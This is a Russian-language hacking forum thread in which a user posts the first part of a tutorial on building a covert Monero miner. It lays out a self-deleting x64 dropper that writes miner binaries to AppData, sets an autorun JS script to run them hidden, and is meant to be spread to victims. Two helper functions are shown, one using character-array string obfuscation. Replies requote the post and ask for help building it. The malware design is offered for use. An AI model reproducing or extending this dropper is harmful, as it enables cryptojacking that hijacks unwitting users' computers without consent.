Скрытый майнер из говна и палок за 15 минут (Слишком много БУКАВ)

MaiK

Знающий
Дней с нами
2.566
Розыгрыши
0
Сообщения
124
Репутация
1
Реакции
80
TRIGGERED - СЛИШКОМ МНОГО БУКАВ!
ЗАбыл поставить хайд,АДМИНЫ Плес
хайд 50 дней реги и 30 смс

По стопам цикла из говна и палок.

Сегодня я вам покажу, как сделать скрытый майнер Monero из говна и палок, в прямом смысле этого слова. Так как вижу, что тема актуальна, особенно это понимают те, которые брутят дедики, лол.

Приступим.
1) Майнер Monero. Самый эффективный на данный момент от Wolf'а. Так сложилось, что майнинг алгоритмом cryptonight гораздо эффективнее на CPU, так как тот же Wolf в отличии от других алгоритмов юзает расширение команд AES

_ttps://ru.minergate.com/altminers/cpuminer-multi-wolf

2) Гейт на котором будем майниться. Заюзаем не требующий регистрации dwarfpool

3) Visual Studio, скрипт bin2src и иммунитет к говнокоду
Архитектура будет такой:

x64 дроппер, который будет дропать на авторан js скрипт, запускающий майнер в скрытом режиме. Дропать будет либо версию с поддержкой AES-расширения, либо без поддержки. Самоудаляться.

То есть, порядок сборки:

Пишем каркас дропера, перегоняем файлы майнера в массив при помощи bin2src, компейлируем и распространяем, ловя кэш на булочки в столовке.
Дропер будет прост как лопата. Определяем поддержку AES через cpuid и в зависимости от этого дропаем в аппдату определенные версии майнеров, ставим на авторан js файл который их будет врубать в скрытом режиме

Напишем Скопипиздим функцию определяющую поддержку AES
Код:
#include <intrin.h>
...
BOOL aes() // вернет тру если поддерживает
{
    int CPUInfo[4];
    __cpuid(CPUInfo, 1);
    return (CPUInfo[2] & (1 << 25)) != 0;
}
Далее научим дропер блеваться майнерами в аппдату, для начала найдем эту самую аппдату:
Код:
BOOL GetAppData(LPWSTR lpBuffer, DWORD dwSize)
{
    WCHAR szAppData[] = { L'A', L'p', L'p', L'D', L'a', L't', L'a', L'\0' };
    DWORD dwRet = GetEnvironmentVariableW(szAppData, lpBuffer, dwSize);
    return ((dwRet > 0) && (dwRet <= dwSize));
}
ПРОДОЛЖЕНИЕ СЛЕДУЕТ
UPD.
Продолжение

https://mipped.com/f/threads/chast-...palok-za-15-minut-slishkom-mnogo-bukav.49390/
 
Последнее редактирование:
Та не, букаф вроде нормально
 
Копипаста с другого форума, meh
 
TRIGGERED - СЛИШКОМ МНОГО БУКАВ!
ЗАбыл поставить хайд,АДМИНЫ Плес
хайд 50 дней реги и 30 смс

По стопам цикла из говна и палок.

Сегодня я вам покажу, как сделать скрытый майнер Monero из говна и палок, в прямом смысле этого слова. Так как вижу, что тема актуальна, особенно это понимают те, которые брутят дедики, лол.

Приступим.
1) Майнер Monero. Самый эффективный на данный момент от Wolf'а. Так сложилось, что майнинг алгоритмом cryptonight гораздо эффективнее на CPU, так как тот же Wolf в отличии от других алгоритмов юзает расширение команд AES

_ttps://ru.minergate.com/altminers/cpuminer-multi-wolf

2) Гейт на котором будем майниться. Заюзаем не требующий регистрации dwarfpool

3) Visual Studio, скрипт bin2src и иммунитет к говнокоду
Архитектура будет такой:

x64 дроппер, который будет дропать на авторан js скрипт, запускающий майнер в скрытом режиме. Дропать будет либо версию с поддержкой AES-расширения, либо без поддержки. Самоудаляться.

То есть, порядок сборки:

Пишем каркас дропера, перегоняем файлы майнера в массив при помощи bin2src, компейлируем и распространяем, ловя кэш на булочки в столовке.
Дропер будет прост как лопата. Определяем поддержку AES через cpuid и в зависимости от этого дропаем в аппдату определенные версии майнеров, ставим на авторан js файл который их будет врубать в скрытом режиме

Напишем Скопипиздим функцию определяющую поддержку AES
Код:
#include <intrin.h>
...
BOOL aes() // вернет тру если поддерживает
{
    int CPUInfo[4];
    __cpuid(CPUInfo, 1);
    return (CPUInfo[2] & (1 << 25)) != 0;
}
Далее научим дропер блеваться майнерами в аппдату, для начала найдем эту самую аппдату:
Код:
BOOL GetAppData(LPWSTR lpBuffer, DWORD dwSize)
{
    WCHAR szAppData[] = { L'A', L'p', L'p', L'D', L'a', L't', L'a', L'\0' };
    DWORD dwRet = GetEnvironmentVariableW(szAppData, lpBuffer, dwSize);
    return ((dwRet > 0) && (dwRet <= dwSize));
}
ПРОДОЛЖЕНИЕ СЛЕДУЕТ
UPD.
Продолжение

https://mipped.com/f/threads/chast-...palok-za-15-minut-slishkom-mnogo-bukav.49390/
Очень интересно, но блин полный нуль в этом. Поможешь собрать такой? xD
 
Лайкосик, но мне кажется или тут фиг кто соберет его?)
Проще по мне так купить готовый :6:
 
  • Like
Реакции: MaiK
  • Like
Реакции: Прапор